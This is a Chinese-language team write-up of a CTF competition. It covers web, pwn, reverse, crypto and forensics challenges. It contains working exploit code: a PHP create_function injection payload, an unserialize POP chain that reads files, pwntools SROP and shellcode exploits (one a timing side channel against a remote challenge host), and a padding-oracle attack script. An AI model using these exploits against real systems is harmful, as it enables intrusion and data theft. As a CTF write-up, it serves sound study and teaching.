团队wp,本人做了2题密码和misc。
WEB
what's my name
通过代码审计得知如若要使得最后得@$miao=create_function('$a, $b', $sort_function);
产生代码执行的话我们就必须满足上面的两个if条件if(preg_match('/^(?:.{5})*include/',$d0g3))
和if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)
。
那么此时我们先从最后的代码执行入手,先构造攻击代码:
此时我们知道reate_function()函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况;此时根据下面这篇文章我们来构造攻击代码:
可知:
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
@$miao=create_function('$a, $b', ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);');
匿名函数的执行:
function miao($a,$b){
return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);
}
那么此时经过我们的构造传入?d0g3="]);}phpinfo();/*后;整个匿名函数的执行会变成:
function miao($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}
因为create_function()函数会在内部执行eval()
那么此时便会执行eval(phpinfo())
造成代码攻击。
接下来我们开始考虑绕过问题;此时我们从第一个if入手if(preg_match('/^(?:.{5})*include/',$d0g3))此时需要第五个字符后出现include那么此时我们直接在我们原先构造的payload的第五个字符后面直接加入include即可成功实现绕过:
此时要求我们输入的$d0g3长度等于$miao的最后两个字符相等;此时我们输入的?d0g3="]);}include(phpinfo());/*共计26个字符,那么此时的考点在于匿名函数的名字是有规律的;此时运行一次便会加一:
那么此时的满足strlen($d0g3)==substr($miao, -2)
就很容易了;我们直接执行payload25
即可成功满足。
此时我们在本地运行时会发现匿名函数的名字前面会有一个空字符:
我们直接使用%00来绕过最后这个强比较:
?d0g3="]);}include(phpinfo());/*&name=%00lambda_26
easy_unserialize
我们开始寻找反序列化链子;此时我们把链尾定格在class Flag类中:
array_walk 函数对数组 $this 中的每个元素应用指定的回调函数。回调函数接收两个参数:$one 为当前元素的值,$two 为当前元素的键。看到这里可以马上想到原生类利用攻击:
所以此时我们将其暂时定为链尾;接下来要触发__invoke
的条件是当对象被当作函数调用时;此时我们就可以定位到Luck类中的__toString()
此时$l1
会被当作函数进行调用;而我们知道当对象被当作字符串输出时会触发;所以此时我们依旧定格在 Luck 类的__unset($arg1)
上面;此时的函数会将 md5 当作字符串进行处理;此时我们继续往下面看;我们知道__unset
的触发是使用unset()
时触发;所以继续定位到 You 类的__wakeup
上面;此时使用了unset($this->y1->y1);
会导致 Luck 类上的 unset 被触发;至此整条 pop 链子已经构造完毕:
You_wakeup() -> Luck_unset() Luck_toString() -> Flag_invoke()
上面提到根据最后一个 Flag 类中的方法我们可知可以构造原生类攻击:
exp:
class Luck{
public $l1;
public $md5;
}
class You{
public $y1;
public function __construct(){
$this->y1 = new Luck;
}
}
class Flag{
public $GlobIterator;
}
$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->GlobIterator="../../../*";
echo urlencode(serialize($a));
?>
<?php
class Luck{
public $l1;
public $md5;
}
class You{
public $y1;
public function __construct(){
$this->y1 = new Luck;
}
}
class Flag{
public $SplFileObject;
}
$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
echo urlencode(serialize($a));
?>
PWN
side_channel
保护:
沙箱:
思路:
栈溢出,刚好16字节覆盖返回地址,栈迁移。无pop类可用的gadgets,但有系统调用,考虑SROP。ropper查找也能找到mov rax, 0xf; ret
这类指令,因此SROP没跑了。并且沙箱白名单里有mprotect,因此可以改权限写shellcode,然后就是经典的SCA了。
from pwn import *
import time
context(arch='amd64', os='linux')
syscall_pop_rbp_ret = 0x000000000040118a
ret = 0x0000000000401016
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401194
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_mprotect
sigframe.rdi = 0x404000
sigframe.rsi = 4096
sigframe.rdx = 0x7
sigframe.rsp = 0x404268
sigframe.rip = syscall_pop_rbp_ret
def pwn(pos, char):
shellcode = f'''
/* SYS_open */
push 0x67616c66
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
/* SYS_read */
mov rdi, rax
mov rsi, 0x404060+ 0x500
mov rdx, 0x100
xor rax, rax
syscall
s:
mov rdx, rsi
cmp byte ptr [rdx + {pos}], {char}
ja loop
mov rax, 231
syscall
loop:
jmp loop
'''
shellcode = asm(shellcode)
payload = shellcode + b'\x00'* (0x100 - len(shellcode))
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe)
payload += p64(0) + p64(0x404060)
io.sendafter('easyhack', payload)
payload = b'a'*0x2a + p64(0x404060+0x100-8) + p64(leave_ret)
io.sendafter('SUID?', payload)
if __name__ == '__main__':
flag = ''
pos = len(flag)
i=0
while True:
left, right = 33, 127
while left < right:
mid = (left + right) >> 1
#io = process('./chall')
io = remote('47.108.206.43', 34694)
pwn(pos, mid)
start = time.time()
io.can_recv_raw(timeout=2)
end = time.time()
io.close()
if end - start > 2:
left = mid + 1
else:
right = mid
print('times:{}, cur: {}'.format(i, mid))
i += 1
flag += chr(left)
print(f'flag: {flag}')
if pos >= 36:
break
pos += 1
log.info(flag)
seccomp
比第一题简单,区别是没禁用write系统调用,但也不允许mprotect,因此直接栈迁移,并构造一个SROP链执行orw即可。
from pwn import *
context(arch='amd64', os='linux')
#io = process('./chall')
io = remote('47.108.206.43', 47654)
syscall_pop_rbp_ret = 0x000000000040118a
ret = 0x0000000000401016
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401194
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_open
sigframe.rdi = 0x404060
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = 0x404360
sigframe.rip = syscall_pop_rbp_ret
sigframe1 = SigreturnFrame()
sigframe1.rax = constants.SYS_read
sigframe1.rdi = 3
sigframe1.rsi = 0x404060 + 0xf00
sigframe1.rdx = 0x100
sigframe1.rsp = 0x404660
sigframe1.rip = syscall_pop_rbp_ret
sigframe2 = SigreturnFrame()
sigframe2.rax = constants.SYS_write
sigframe2.rdi = 1
sigframe2.rsi = 0x404060 + 0xf00
sigframe2.rdx = 0x100
sigframe2.rip = syscall_pop_rbp_ret
# open
payload = b'flag\x00\x00\x00\x00'
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe)
payload = payload.ljust(0x300, b'\x00')
# read
payload += p64(0)
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe1)
payload = payload.ljust(0x600, b'\x00')
# write
payload += p64(0)
payload += p64(mov_rax_15_ret) + p64(syscall_pop_rbp_ret) + bytes(sigframe2)
io.sendafter('easyhack', payload)
#gdb.attach(io, 'b *0x40143c')
#pause()
payload = b'a'*0x2a + p64(0x404060) + p64(leave_ret)
io.sendafter('SUID?', payload)
io.interactive()
REVERSE
mobilego
下断点,动调,找到打乱的映射关系,写脚本还原即可。
a = "q3gyj}eozkfxhtualLncpAsrdvFb50wG124i{m"
b = "49021}5f919038b440139g74b7Dc88330e5d{6"
c = r"FLAG{abcdefghijklmnopqrstuvwxyz012345}"
flag = ''
for i in c:
for j in range(len(a)):
if i == a[j]:
flag += b[j]
print(flag)
感觉有点点简单
找到主函数,里面有两次加密。
一个是魔改rc4 一个是魔改base64 :
魔改rc4,%255改成了%64,最后一句异或的结构变了。
base看不出来哪里变了,但是就只有这里有问题了,正常换表base无法得到结果。
逆向程序流程先base解码再rc4解码,base64魔改脚本不会,采取爆破。四个字符串爆破出三,请看脚本。 exp:
import base64
def ba64_decode(str1):
mapping = "4KBbSzwWClkZ2gsr1qA+Qu0FtxOm6/iVcJHPY9GNp7EaRoDf8UvIjnL5MydTX3eh"
data=[0]*4
flag=[0]*3
for i in range(0,255):
for y in range(0,255):
for k in range(0,255):
flag[0]=(i)
flag[1]=(y)
flag[2]=(k)
data[0]=ord(mapping[flag[0]&0x3f])
data[1]=ord(mapping[(4 * (flag[1] & 0xF)) | ((flag[0] & 0xC0) >> 6)])
data[2]=ord(mapping[(16*(flag[2]&3))|(flag[1]&0xf0)>>4])
data[3]=ord(mapping[(flag[2]&0xfc)>>2])
FLAG=1
if data==str1:
print(flag)
FLAG=0
return 0
if flag==1:
print("1")
encoded_str = list("6zviISn2McHsa4b108v29tbKMtQQXQHA+2+sTYLlg9v2Q2Pq8SP24Uw=")
flag=[ord(x)for x in encoded_str]
flag.append(0)
for i in range(0,len(encoded_str),4):
ba64_decode(flag[i:i+4])
RC4:
import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):
key_length = len(key)
S = list(range(64))
j = 0
for i in range(64):
j = (j + S[i] + key[i % key_length]) % 64
S[i], S[j] = S[j], S[i]
i = j = 0
plaintext = bytearray()
for char in ciphertext:
i = (i + 1) % 64
j = (j + S[i]) % 64
S[i], S[j] = S[j], S[i]
keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
plaintext.append(char ^ ((i^j)&keystream_byte))
return bytes(plaintext)
key = [ord(x)for x in 'the_key_']
#填写key
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41, 51,20, 51, 70,48, 49, 50]
print(rc4_decrypt(key,data))
牢大想你了
瞎翻了一下,发现一个tea算法
提取有用的:
key,待解密数据 :
之前用的tea解码找不到了,网上瞎找了一个,不太好用,data太长就不行了。所以需要把data数据两个两个解码。(正常的模板直接出结果,找个模板稍微麻烦点)
#include <stdio.h>
#include <stdint.h>
void Decrypt(long* EntryData, long* Key)
{
//分别加密数组中的前四个字节与后4个字节,4个字节为一组每次加密两组
unsigned long x = EntryData[0];
unsigned long y = EntryData[1];
unsigned long sum = 0;
unsigned long delta = 2654435769;
sum = delta << 5; //注意这里,sum = 32轮之后的黄金分割值. 因为我们要反序解密.
//总共加密32轮 那么反序也解密32轮
for (int i = 0; i < 32; i++)
{
// 先将y解开 然后参与运算在解x
y -= ((x << 4) + Key[2]) ^ (x + sum) ^ ((x >> 5) + Key[3]);
x -= ((y << 4) + Key[0]) ^ (y + sum) ^ ((y >> 5) + Key[1]);
sum -= delta;
}
EntryData[0] = x;
EntryData[1] = y;
}
int main()
{
//Encrypt每次只是加密4字节数组中的两组(也就是每次加密8个字节) 如果你数据多.可以来个for循环来循环加密,但是Entrypt内部还有32次循环,所以速度上还是会有点影响.
long Data[] = { 3363017039, 1247970816};
//每次运行带进去两个549943836, 445086378, 3606751618, 1624361316, 3112717362, 705210466, 3343515702, 2402214294,
4010321577, 2743404694
printf("待加密的数值 = %s\r\n", (char*)Data);
long key[4] = { 286331153, 286331153, 286331153, 286331153 };
Decrypt(Data, key);
printf("解密后的数值 = %s\r\n", (char*)Data);
system("pause");
}
CRYPTO
Cry1
观察源代码,发现将生成的 p 转化为了 2 进制,并且随机将 1bit 的 0 转化成了 1,将 1bit的 1 转化成了 0,所以我直接大力出奇迹,直接爆破。
exp:
from Crypto.Util.number import *
import itertools
def fix_p(modified_p, n):
binary_p = bin(modified_p)[2:].zfill(2048)
one_indices = [i for i, bit in enumerate(binary_p) if bit == '1']
zero_indices = [i for i, bit in enumerate(binary_p) if bit == '0']
for i, j in itertools.product(one_indices, zero_indices):
# 尝试将一个 '1' 改成 '0',一个 '0' 改成 '1'
possible_p = list(binary_p)
possible_p[i], possible_p[j] = '0', '1'
possible_p = int(''.join(possible_p), 2)
# 检查可能的 p 是否是素数
if isPrime(possible_p):
# 检查 n 是否是 p 和另一个大数的乘积
q, r = divmod(n, possible_p)
if r == 0 and isPrime(q):
return possible_p, q
return None, None
# 使用一个已知的修改后的 p 和对应的 n
modified_p = int(0b...) # 这里应该是你从服务器获取的修改后的 p 的值
n = ...
p, q = fix_p(modified_p, n)
c = ...
e = 0x10001
phi = (p-1) * (q-1)
d = inverse(e, phi)
flag = long_to_bytes(pow(c,d,n))
print(flag)
Cry2
很经典的 Oracle Padding Attack,前16字节是 IV,后面的是明文,服务器端根据能否解密返回 True 和 False。
参考文章:一文搞明白 Padding Oracle Attack
前期的脚本用 AI 跑的,因此用的是 socket 库而非 pwntools:
import socket
import binascii
import hashlib
import time
class PaddingOracleAttack(object):
def __init__(self, cipher, iv):
self.cipher = cipher
# 把密文分割成列表,每个列表元素16字节
self.cipher_lst = self.split_block(self.cipher)
# 解密的中间值
self.mid_lst = [self.brute_middle(self.cipher_lst[-1])]
# 存储计算出来的明文
self.plain_lst = [[] for _ in self.cipher_lst]
@classmethod
def split_block(cls, cipher):
cipher_list = []
for i in range(0, len(cipher), 16):
cipher_list.append(cipher[i: i + 16])
return cipher_list
def calc_new_tail(self, tail, idx):
new_tail = b""
for t in tail:
_tail = t ^ (idx - 1) ^ idx
new_tail += _tail.to_bytes(1, byteorder="big")
return new_tail
def brute_middle(self, cipher_line):
'''暴力破解解密的中间值'''
tail = b""
mid_lst = []
# 从pad 为0x01开始 到 0x10
for pad in range(1, 17):
# 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。
tail = self.calc_new_tail(tail, pad)
find_pad = False
for i in range(0, 256):
# 形成2个密文块
cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line
#print(cipher.hex().encode())
try:
s.sendall(b'2\n')
if not s.recv(1024).strip():
time.sleep(0.5)
s.sendall(cipher.hex().encode() + b'\n')
response = s.recv(1024).decode().strip()
except socket.timeout:
continue
if response == "True":
# print("[!] Cipher - %s" % cipher)
find_pad = True
tail = i.to_bytes(1, byteorder="big") + tail
mid_chr = i ^ pad
mid_lst.insert(0, mid_chr)
break
if not find_pad:
raise Exception("Error not find pad!")
return bytes(mid_lst)
def decrypt(self):
'''解密'''
# 从最后开始计算
self.mid_lst = []
for _idx in range(len(self.cipher_lst), 0, -1):
line_idx = _idx - 1
cipher_line = self.cipher_lst[line_idx]
if line_idx >= 1:
# 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或
p_cipher_line = self.cipher_lst[line_idx - 1]
else:
# 如果是第一行,则其与IV异或
p_cipher_line = iv
_mid = self.brute_middle(cipher_line)
self.mid_lst.insert(0, _mid)
for idx, _m in enumerate(_mid):
plain_chr = _m ^ p_cipher_line[idx]
self.plain_lst[line_idx].append(plain_chr)
plain = b""
for p in self.plain_lst:
plain += bytes(p)
return plain
if __name__ == "__main__":
ip = '124.71.177.14'
port = 10010
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
# 解决哈希挑战
challenge = s.recv(4096).decode()
hash_str = challenge[14:30]
hash_256 = challenge[32:96]
for a in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
for b in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
for d in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789':
test_str = a + b + c + d + hash_str
if hashlib.sha256(test_str.encode('utf-8')).hexdigest() == hash_256:
print(a+b+c+d)
s.sendall((a+b+c+d).encode() + b'\n')
break
s.sendall(b'1\n')
s.recv(4096)
encrypted_flag_hex = s.recv(4096).decode().split(':')[1].strip()
encrypted_flag = binascii.unhexlify(encrypted_flag_hex)
cipher = encrypted_flag[16:] # 获取密文
iv = encrypted_flag[0:16] # 获取初始化向量
print(cipher,iv)
poa_atck = PaddingOracleAttack(cipher, iv)
plain = poa_atck.decrypt()
print(plain)
MISC
签到
看图写字。
dacongのWindows
windows10 的取证,用 vol2 的话没办法提取镜像里面的文件,所以必须用 vol3 做。flag 分为 3 段,依次给出方法。
flag1 位于\Users\miku\Music\dacong_like_listen\dacong39.wav
中,这个其实是我最后一个找出来的,是找了半天没找到于是直接翻了 filescan 的内容,然后看到了有很多看起来很可疑的 wav 文件,就专门过滤了下,好家伙这么多:
如果你不听初音未来,那么就要饱受 50 个 sstv 的顶级折磨,但我是高贵的术术人(,所以我一眼顶针,flag1 在 dacong39.wav 中,事实证明,果然如此:
flag2 在 secret.rar 中,提取出来后是这么一段东西:
一眼关键字 snow,结合这个文档确实存在很多空白处,直接上 SNOW 隐写:
最后 flag3 就在 flag3.txt 中,提取出来后一眼加盐 AES:
根据题目描述,很重要的表里面有东西被改了,那应该就是注册表了,查看注册表的内容:
很好,拿下: